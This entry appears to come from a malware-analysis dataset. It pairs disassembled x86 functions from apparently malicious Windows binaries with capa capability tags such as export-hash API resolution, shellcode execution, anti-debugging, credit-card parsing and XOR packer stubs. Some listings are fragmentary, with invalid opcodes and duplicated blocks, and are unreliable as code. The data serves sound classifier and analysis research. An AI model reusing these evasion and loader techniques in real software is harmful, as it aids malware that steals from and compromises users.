joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006d49
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
push eax
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x10006deb
movzx eax, word [ecx]
mov dword [ebp - 0x10], eax
add eax, 0xffffffd5
xor edx, edx
test eax, 0xfffd
sete dl
movzx eax, word [ecx + edx*2]
lea esi, [eax - 1]
xor edi, edi
cmp si, 0x7e
ja 0x10006ddd
lea ebx, [ecx + edx*2]
add ebx, 2
xor edi, edi
movzx eax, ax
push eax
call fcn.1024d21e
add esp, 4
test eax, eax
je 0x10006ddd
movzx esi, word [ebx - 2]
xor ecx, ecx
cmp esi, 0x7f
ja 0x10006db3
push esi
call fcn.1024d21e
add esp, 4
add esi, 0xffffffd0
test eax, eax
cmove esi, eax
mov ecx, esi
mov eax, ecx
xor eax, 0x7fffffff
mov edx, 0xcccccccd
mul edx
shr edx, 3
cmp edi, edx
jg 0x10006def
lea eax, [edi + edi*4]
lea edi, [ecx + eax*2]
movzx eax, word [ebx]
mov ecx, eax
dec ecx
add ebx, 2
cmp cx, 0x7f
jb 0x10006d85
mov eax, edi
neg eax
cmp word [ebp - 0x10], 0x2d
cmovne eax, edi
jmp 0x10006dfe
xor eax, eax
jmp 0x10006dfe
xor eax, eax
cmp word [ebp - 0x10], 0x2d
sete al
add eax, 0x7fffffff
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x100075b8
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx + 0xc]
add ecx, 0xc
mov dword [esp + 0x14], 0
cmp eax, ecx
mov ebp, 0
jne 0x100075fc
jmp 0x1000763d

Function at 0x10007620
Capabilities:
Resolve function by parsing pe exports

Disassembly:
and edi, 0x7fffffff
cmp edi, 0x450
je 0x1000763a
mov eax, dword [eax]
cmp eax, ecx
je 0x10007636
mov edx, dword [eax + 0x30]
movzx esi, word [edx]
test si, si
je 0x100075f6
add edx, 2
xor edi, edi
jmp 0x10007628
movzx esi, si
add edi, esi
movzx esi, word [edx]
add edx, 2
test si, si
je 0x100075e8
lea ebx, [esi - 0x41]
cmp bx, 0x1a
jae 0x10007618
add esi, 0x20
jmp 0x10007618
xor ebp, ebp
jmp 0x1000763d
mov ebp, dword [eax + 0x18]
mov ecx, dword [0x10442ba8]
mov eax, dword [0x10442b90]
invalid
invalid
mov al, 0x2b

Function at 0x1000764c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
inc esp
adc byte [ecx + 0x558b2414], cl
cmp al, 1
ljmp 0x548b

Function at 0x10007686
Capabilities:
Resolve function by parsing pe exports

Disassembly:
and al, 8
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x100076fe
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ebx, dword [esi + edi*4]
add ebx, ebp
mov ebp, 0xffffffff
xor edx, edx
nop
nop
nop
nop
mov ecx, edx
cmp byte [ebx + ebp + 1], 0
lea ebp, [ebp + 1]
lea edx, [edx + 1]
jne 0x100076a8
test ebp, ebp
je 0x100076e8
xor ebp, ebp
nop
nop
nop
nop
nop
imul ebp, eax
movzx edx, byte [ebx]
add ebp, edx
inc ebx
dec ecx
jne fcn.100076c8
cmp ebp, dword [esp]
jne 0x100076ef
jmp 0x10007704
xor ebp, ebp
cmp ebp, dword [esp]
je 0x10007704
inc edi
cmp edi, dword [esp + 0xc]
mov ebp, dword [esp + 4]
jne 0x10007698
mov dword [esp + 0x14], 0
jmp 0x1000771d
mov eax, dword [esp + 8]
movzx eax, word [eax + edi*2]
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
mov ebp, dword [esp + 4]
add eax, ebp
mov dword [esp + 0x14], eax
push dword [0x10442b9c]
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x10442b9c]
mov dword [esp + 0xc], eax
mov ecx, eax
call fcn.10007528
mov ecx, dword [0x10442ba8]
mov eax, dword [0x10442b90]
mov edx, dword [0x10442bd0]
mov dword [esp], edx
mov edx, dword [ebp + 0x3c]
add edx, ebp
mov ecx, dword [edx + ecx*8 + 0x78]
mov edx, dword [ebp + ecx + 0x20]
add edx, ebp
mov esi, dword [ebp + ecx + 0x1c]
sbb al, 0x89
je 0x1000778a
or byte [ebx - 0x76dbf2b4], cl
dec esp
and al, 0x10
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [edx + ebx*4]
add edi, ebp
mov esi, 0xffffffff
xor ecx, ecx
nop
nop
nop
nop
mov ebp, ecx
cmp byte [edi + esi + 1], 0
lea esi, [esi + 1]
lea ecx, [ecx + 1]
jne 0x10007788
test esi, esi
je 0x100077c8
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul esi, eax
movzx ecx, byte [edi]
add esi, ecx
inc edi
dec ebp
jne 0x100077a8
cmp esi, dword [esp]
jne 0x100077cf
jmp 0x100077d6
xor esi, esi
cmp esi, dword [esp]
je 0x100077d6
inc ebx
mov ebp, dword [esp + 4]
jmp 0x10007778
mov ebp, dword [esp + 4]
mov ecx, dword [esp + 8]
add ecx, ebp
mov eax, dword [esp + 0x10]
add eax, ebp
movzx eax, word [eax + ebx*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebp
push 0x104
mov edi, dword [esp + 0x10]
push edi
push 0
call ecx
mov ecx, 0xffffffff
mov eax, dword [str.salesperson.sql]
nop
cmp word [edi + ecx*2 + 2], 0
lea ecx, [ecx + 1]
jne 0x10007808
mov edx, dword [0x10442b94]
cmp word [edi + ecx*2 - 2], dx
jne 0x10007828
mov edx, ecx
jmp 0x10007840
mov word [edi + ecx*2], 0
mov esi, dword [0x10442b94]
lea edx, [ecx - 1]
cmp word [edi + ecx*2 - 4], si
mov ecx, edx
jne 0x10007828
movzx ecx, byte [eax]
test cl, cl
je 0x10007869
lea edx, [edi + edx*2]
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movsx ecx, cl
mov word [edx + esi*2], cx
movzx ecx, byte [eax + esi + 1]
inc esi
test cl, cl
jne 0x10007858
mov ecx, dword [0x10442ba8]
mov eax, dword [0x10442b90]
mov edx, dword [0x10442bac]
mov dword [esp], edx
mov edx, dword [ebp + 0x3c]
add edx, ebp
mov ecx, dword [edx + ecx*8 + 0x78]
mov edx, dword [ebp + ecx + 0x20]
add edx, ebp
mov esi, dword [ebp + ecx + 0x1c]
Function at 0x10007762
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ebx, dword [esi + edi*4]
add ebx, ebp
mov ebp, 0xffffffff
xor edx, edx
nop
nop
nop
nop
mov ecx, edx
cmp byte [ebx + ebp + 1], 0
lea ebp, [ebp + 1]
lea edx, [edx + 1]
jne 0x100076a8
test ebp, ebp
je 0x100076e8
xor ebp, ebp
nop
nop
nop
nop
nop
imul ebp, eax
movzx edx, byte [ebx]
add ebp, edx
inc ebx
dec ecx
jne fcn.100076c8
cmp ebp, dword [esp]
jne 0x100076ef
jmp 0x10007704
xor ebp, ebp
cmp ebp, dword [esp]
je 0x10007704
inc edi
cmp edi, dword [esp + 0xc]
mov ebp, dword [esp + 4]
jne 0x10007698
mov dword [esp + 0x14], 0
jmp 0x1000771d
mov eax, dword [esp + 8]
movzx eax, word [eax + edi*2]
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
mov ebp, dword [esp + 4]
add eax, ebp
mov dword [esp + 0x14], eax
push dword [0x10442b9c]
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x10442b9c]
mov dword [esp + 0xc], eax
mov ecx, eax
call fcn.10007528
mov ecx, dword [0x10442ba8]
mov eax, dword [0x10442b90]
mov edx, dword [0x10442bd0]
mov dword [esp], edx
mov edx, dword [ebp + 0x3c]
add edx, ebp
mov ecx, dword [edx + ecx*8 + 0x78]
mov edx, dword [ebp + ecx + 0x20]
add edx, ebp
mov esi, dword [ebp + ecx + 0x1c]
sbb al, 0x89
je 0x1000778a
or byte [ebx - 0x76dbf2b4], cl
dec esp
and al, 0x10
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [edx + ebx*4]
add edi, ebp
mov esi, 0xffffffff
xor ecx, ecx
nop
nop
nop
nop
mov ebp, ecx
cmp byte [edi + esi + 1], 0
lea esi, [esi + 1]
lea ecx, [ecx + 1]
jne 0x10007788
test esi, esi
je 0x100077c8
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul esi, eax
movzx ecx, byte [edi]
add esi, ecx
inc edi
dec ebp
jne 0x100077a8
cmp esi, dword [esp]
jne 0x100077cf
jmp 0x100077d6
xor esi, esi
cmp esi, dword [esp]
je 0x100077d6
inc ebx
mov ebp, dword [esp + 4]
jmp 0x10007778
mov ebp, dword [esp + 4]
mov ecx, dword [esp + 8]
add ecx, ebp
mov eax, dword [esp + 0x10]
add eax, ebp
movzx eax, word [eax + ebx*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebp
push 0x104
mov edi, dword [esp + 0x10]
push edi
push 0
call ecx
mov ecx, 0xffffffff
mov eax, dword [str.salesperson.sql]
nop
cmp word [edi + ecx*2 + 2], 0
lea ecx, [ecx + 1]
jne 0x10007808
mov edx, dword [0x10442b94]
cmp word [edi + ecx*2 - 2], dx
jne 0x10007828
mov edx, ecx
jmp 0x10007840
mov word [edi + ecx*2], 0
mov esi, dword [0x10442b94]
lea edx, [ecx - 1]
cmp word [edi + ecx*2 - 4], si
mov ecx, edx
jne 0x10007828
movzx ecx, byte [eax]
test cl, cl
je 0x10007869
lea edx, [edi + edx*2]
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movsx ecx, cl
mov word [edx + esi*2], cx
movzx ecx, byte [eax + esi + 1]
inc esi
test cl, cl
jne 0x10007858
mov ecx, dword [0x10442ba8]
mov eax, dword [0x10442b90]
mov edx, dword [0x10442bac]
mov dword [esp], edx
mov edx, dword [ebp + 0x3c]
add edx, ebp
mov ecx, dword [edx + ecx*8 + 0x78]
mov edx, dword [ebp + ecx + 0x20]
add edx, ebp
mov esi, dword [ebp + ecx + 0x1c]

Function at 0x10007890
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [esp + 8], esi
mov ecx, dword [ebp + ecx + 0x24]
mov dword [esp + 0x10], ecx
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x100078e4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, dword [edx + ebx*4]
add edi, ebp
mov esi, 0xffffffff
xor ecx, ecx
nop
nop
nop
nop
mov ebp, ecx
cmp byte [edi + esi + 1], 0
lea esi, [esi + 1]
jbe 0x100078c3
lea ecx, [ecx + 1]
jne 0x100078b8
test esi, esi
je 0x100078f8
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul esi, eax
movzx ecx, byte [edi]
add esi, ecx
inc edi
dec ebp
jne 0x100078d8
cmp esi, dword [esp]
jne 0x100078ff
jmp fcn.10007906
xor esi, esi
cmp esi, dword [esp]
je fcn.10007906
inc ebx
mov ebp, dword [esp + 4]
jmp 0x100078a8

Function at 0x10007906
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov esi, dword [esp + 4]
mov ecx, dword [esp + 8]
add ecx, esi
mov eax, dword [esp + 0x10]
add eax, esi
movzx eax, word [eax + ebx*2]
mov ecx, dword [ecx + eax*4]
add ecx, esi
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push dword [esp + 0x24]
call ecx
mov dword [esp + 0xc], eax
mov ecx, dword [0x10442ba8]
mov eax, dword [0x10442b90]
mov edx, dword [0x10442bc4]
mov dword [esp], edx
mov edx, dword [esi + 0x3c]
add edx, esi
mov ecx, dword [edx + ecx*8 + 0x78]
mov ebx, dword [esi + ecx + 0x20]
add ebx, esi
mov edx, dword [esi + ecx + 0x1c]
mov dword [esp + 8], edx
mov ecx, dword [esi + ecx + 0x24]

Function at 0x1000796a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [esp + 0x10], ecx
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebx + edi*4]
add edx, esi
mov esi, 0xffffffff
xor ecx, ecx
nop
nop
nop
nop
mov ebp, ecx
cmp byte [edx + esi + 1], 0
lea esi, [esi + 1]
lea ecx, [ecx + 1]
jne 0x10007988
test esi, esi
je 0x100079c8
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul esi, eax
movzx ecx, byte [edx]
add esi, ecx
inc edx
dec ebp
jne 0x100079a8
cmp esi, dword [esp]
jne 0x100079cf
jmp 0x100079d6
xor esi, esi
cmp esi, dword [esp]
je 0x100079d6
inc edi
mov esi, dword [esp + 4]
jmp 0x10007978
mov ebp, dword [esp + 4]
mov ecx, dword [esp + 8]
add ecx, ebp
mov eax, dword [esp + 0x10]
add eax, ebp
movzx eax, word [eax + edi*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebp
push 0
push dword [esp + 0x10]
call ecx
mov dword [esp + 8], eax
cmp eax, dword [0x10442ba8]
jne 0x10007a09
push 1
call dword [esp + 0x18]
mov esi, dword [0x10442b98]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
push eax
invalid
invalid
invalid

Function at 0x10007a1c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
scasd eax, dword es:[edi]
inc ebx
adc byte [ebx + 0x442b9815], cl
adc byte [ecx - 0x76efdbbc], cl
shr eax, 0xf8
cli

Function at 0x10007af8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
je 0x10007b1e
sbb al, 0xff
rol dword [ebp + 0x6a0675c0], 1
add edi, edi
push esp
and al, 0x18
sal byte [edi + ebx - 0x75], 0x4c
pop ds
add al, 0x8d
push esp
cmp ecx, dword [eax]
Function at 0x10007b7a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp byte [edi + ebx + 1], 0
pop ds
add dword [eax], eax
lea ebx, [ebx + 1]
jne 0x10007b78
xor ecx, ecx
test ebx, ebx
je 0x10007ba6
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, esi
movzx edx, byte [edi + ebp]
add ecx, edx
inc ebp
cmp ebx, ebp
jne 0x10007b98
mov edi, dword [esp + 4]
mov edx, dword [edi + 0x3c]
add edx, edi
mov esi, dword [esp]
mov edx, dword [edx + esi*8 + 0x78]
mov esi, dword [edi + edx + 0x18]
mov dword [esp], esi
test esi, esi
je 0x10007c48
mov esi, dword [edi + edx + 0x20]
add esi, edi
mov dword [esp + 0xc], esi
mov esi, dword [edi + edx + 0x1c]
add esi, edi
mov dword [esp + 0x1c], esi
mov edx, dword [edi + edx + 0x24]
add edx, edi
mov dword [esp + 0x2c], edx
xor esi, esi
invalid
nop
nop
nop

Function at 0x10007be4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp byte [edi + ebx + 1], 0
pop ds
add dword [eax], eax
lea ebx, [ebx + 1]
jne 0x10007b78
xor ecx, ecx
test ebx, ebx
je 0x10007ba6
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul ecx, esi
movzx edx, byte [edi + ebp]
add ecx, edx
inc ebp
cmp ebx, ebp
jne 0x10007b98
mov edi, dword [esp + 4]
mov edx, dword [edi + 0x3c]
add edx, edi
mov esi, dword [esp]
mov edx, dword [edx + esi*8 + 0x78]
mov esi, dword [edi + edx + 0x18]
mov dword [esp], esi
test esi, esi
je 0x10007c48
mov esi, dword [edi + edx + 0x20]
add esi, edi
mov dword [esp + 0xc], esi
mov esi, dword [edi + edx + 0x1c]
add esi, edi
mov dword [esp + 0x1c], esi
mov edx, dword [edi + edx + 0x24]
add edx, edi
mov dword [esp + 0x2c], edx
xor esi, esi
invalid
nop
nop
nop
Function at 0x10007cda
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [edi + 0x3c]
add edx, edi
mov esi, dword [esp]
mov edx, dword [edx + esi*8 + 0x78]
mov esi, dword [edi + edx + 0x18]
mov dword [esp], esi
test esi, esi
je 0x10007d78
mov esi, dword [edi + edx + 0x20]
add esi, edi
mov dword [esp + 0xc], esi
mov esi, dword [edi + edx + 0x1c]
add esi, edi
mov dword [esp + 0x10], esi
mov edx, dword [edi + edx + 0x24]
add edx, edi
mov dword [esp + 0x18], edx
xor esi, esi
nop
nop
nop
mov edx, dword [esp + 0xc]
mov ebx, dword [edx + esi*4]
add ebx, edi
mov edx, 0xffffffff
xor edi, edi
mov ebp, edi
cmp byte [ebx + edx + 1], 0
lea edx, [edx + 1]
lea edi, [edi + 1]
jne 0x10007d28
test edx, edx
je 0x10007d68
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul edx, eax
movzx edi, byte [ebx]
mov dh, 0x3b
add edx, edi
inc ebx
dec ebp
jne 0x10007d48
cmp edx, ecx
jne 0x10007d6e
jmp 0x10007d88
xor edx, edx
cmp edx, ecx
je 0x10007d88
inc esi
cmp esi, dword [esp]
mov edi, dword [esp + 4]
jne 0x10007d18
push 1
call dword [esp + 0x18]
mov dword [esp + 4], 0
jmp 0x10007d9f
mov eax, dword [esp + 0x18]
movzx eax, word [eax + esi*2]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 4]
add edx, dword [ecx + eax*4]
mov dword [esp + 4], edx
mov ecx, dword [esp + 8]
movsx eax, byte [ecx]
lea esi, [ecx + eax]
lea eax, [ecx + eax + 1]
push eax
call dword [esp + 0x20]
mov ebx, eax
test eax, eax
jne 0x10007dbe
push 1
call dword [esp + 0x18]
and al, 0x18
movsx eax, byte [esi]
lea edi, [esi + eax]
add edi, dword [0x10442ba0]
mov ecx, dword [esi + eax + 4]
mov dword [esp + 0xc], ecx
mov ebp, dword [esi + eax + 8]
mov eax, dword [ebx + 0x3c]
mov esi, dword [ebx + eax + 0x2c]
add esi, ebx
mov dword [esp + 0x24], 0
lea eax, [esp + 0x24]
push eax
push dword [0x10442bb4]
push ebp
push esi
mov ebx, dword [esp + 0x14]
call ebx
mov ecx, esi
mov edx, edi
push ebp
call fcn.10007568
add esp, 4
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x28]
mov dword [esp + 8], ebp
push ebp
push esi
call ebx
mov eax, dword [str.merle.xml]
cmp byte [eax], 0
je 0x10007e49
xor ecx, ecx
mov ebx, dword [esp + 0x20]
mov eax, dword [str.merle.xml]
movsx eax, byte [eax + ecx]
mov word [ebx + ecx*2], ax
lea eax, [ecx + 1]
mov edx, dword [str.merle.xml]
cmp byte [edx + ecx + 1], 0
mov ecx, eax
jne 0x10007e28
jmp 0x10007e4f
xor eax, eax
mov ebx, dword [esp + 0x20]
add esi, dword [esp + 0xc]
add edi, dword [esp]
mov word [ebx + eax*2], 0
mov dword [esp + 0x34], ebx
mov dword [esp + 0x30], edi
mov byte [esp + 0x38], 1
lea eax, [esp + 0x30]
push eax
call esi
add esp, 0x40
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000fbd0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 8
mov eax, dword [0x10443bf0]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 4]
test eax, eax
je 0x1000fc0c
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
lea edi, [ebp - 0x10]
mov dword [edi], esi
push esi
push edi
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, eax
test eax, eax
je 0x1000fc0e
mov esi, dword [ebp - 0x10]
jmp 0x1000fc0e
xor esi, esi
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1023b4d8
mov eax, esi
add esp, 8
pop esi
pop edi
pop ebp
ret 8

Function at 0x1000fc30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 8
mov eax, dword [0x10443bf0]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 4]
test eax, eax
je 0x1000fc6c
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
lea edi, [ebp - 0x10]
mov dword [edi], esi
push esi
push edi
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
test eax, eax
je 0x1000fc6e
mov esi, dword [ebp - 0x10]
jmp 0x1000fc6e
xor esi, esi
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1023b4d8
mov eax, esi
add esp, 8
pop esi
pop edi
pop ebp
ret 8
Function at 0x10009370
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using base64
Encrypt data using chaskey
Encrypt data using speck
Execute anti-debugging instructions
Execute shellcode via indirect call
Hide graphical window
Parse credit card information
Parse pe header
Resume thread

Disassembly:
jmp 0x10010e4e
mov eax, dword [0x10075400]
test bp, 0x293f
xor eax, ebp
test ebx, esp
cmp ebx, 0xbb2d452c
mov dword [ebp - 0x10], eax
xchg ah, al
sar eax, 0x1d
mov dword [ebp - 0x144], 0x1ca98095
xor al, 0xb
ror al, 0x86
push ebp
inc ebp
mov ebp, esp
push ebx
bsf ax, dx
btc eax, 0xb1
btc ax, bx
push edi
push esi
dec ax
sub esp, 0x13c
dec al
jmp 0x1000bdfc

Function at 0x1001a503
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1001a542
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001a542
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001a542
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1001a542
cmp dword [ecx + 0x74], 0xe
jbe 0x1001a542
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1001d1bf
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001d25c
push ebx
push esi
call fcn.1001d188
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001d11c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001d209
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001d25b
push edi
push eax
call fcn.1001e17a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1001d229
call fcn.1001bc64
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001d25a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001d11c
add esp, 0x20
test eax, eax
jne 0x1001d248
push edi
call fcn.1001bc64
jmp 0x1001d250
push ebx
call fcn.1001bc64
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1001d4c9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10024cc8
push 0x10024cc0
push str.FlsAlloc
push 0x1f
call fcn.1001d3e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d4fd
push dword [ebp + 8]
mov ecx, esi
call dword [0x10023150]
call esi
jmp 0x1001d503
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1001d547
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10024cd8
push 0x10024cd0
push str.FlsGetValue
push 0x21
call fcn.1001d3e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d57e
push dword [ebp + 8]
mov ecx, esi
call dword [0x10023150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1001d586
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10024ce0
push 0x10024cd8
push str.FlsSetValue
push 0x22
call fcn.1001d3e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001d5c0
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10023150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10022c50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10022c7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10022c7d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x5c9853f5
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x2bde2dba
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219

Function at 0x510024
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx], al
add al, byte [eax]
add byte [eax], al
cld
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, byte [eax]
add byte [eax], al
cld
invalid
stc
jb 0x51002e
pop ds
xor esi, dword [ecx - 0x49]
jno 0x50ffe2
cwde
leave
jmp 0x51008f
pushal
jmp 0x510034
call 0x51003f
dec ecx
stc
mov dl, 0xed
pop ecx
pop ebx
jb 0x510049
jne 0x50ffd9
jge 0x510029
sbb dword [edx - 0x383c7edc], 0xffffffff
invalid
add ebx, 0xffffffc7
jmp 0x510058
cmp dword [ebx], 0
stc
jmp 0x510067
je 0x5100ed
jmp 0x510076
mov ecx, ebx
jmp 0x510081
add ebx, 4
jmp 0x510089
mov edx, dword [ebx]
jmp 0x510097
and eax, 0x8ced9cec
in eax, dx
cmp ebp, dword [ebx + 3]
sar ecx, cl
add edx, ebx
stc
jb 0x5100a3
mov ah, 0xb1
mov ebx, 0xc91a740d
mov eax, dword [ebx + 4]
jmp 0x5100ac
sub dword [edx], 0x3c62176a
jmp 0x5100b6
add edx, 4
jmp 0x5100bf
sub eax, 1
jmp 0x5100c6
jne 0x5100a6
jmp 0x5100d0
add ebx, 8
jmp 0x5100d7
sub dword [ecx], 1
stc
jb 0x5100de
and ecx, dword [edi]
test dword [eax + 0x72ffffff], esp
add dh, byte [ecx + 0xee83b]
add byte [eax], al
jne 0x510084
jb 0x5100e8
mov cl, 0x3b
call 0x5100fb
jmp 0x5100f1
popal
jmp 0x5100f6
jmp 0x50ed00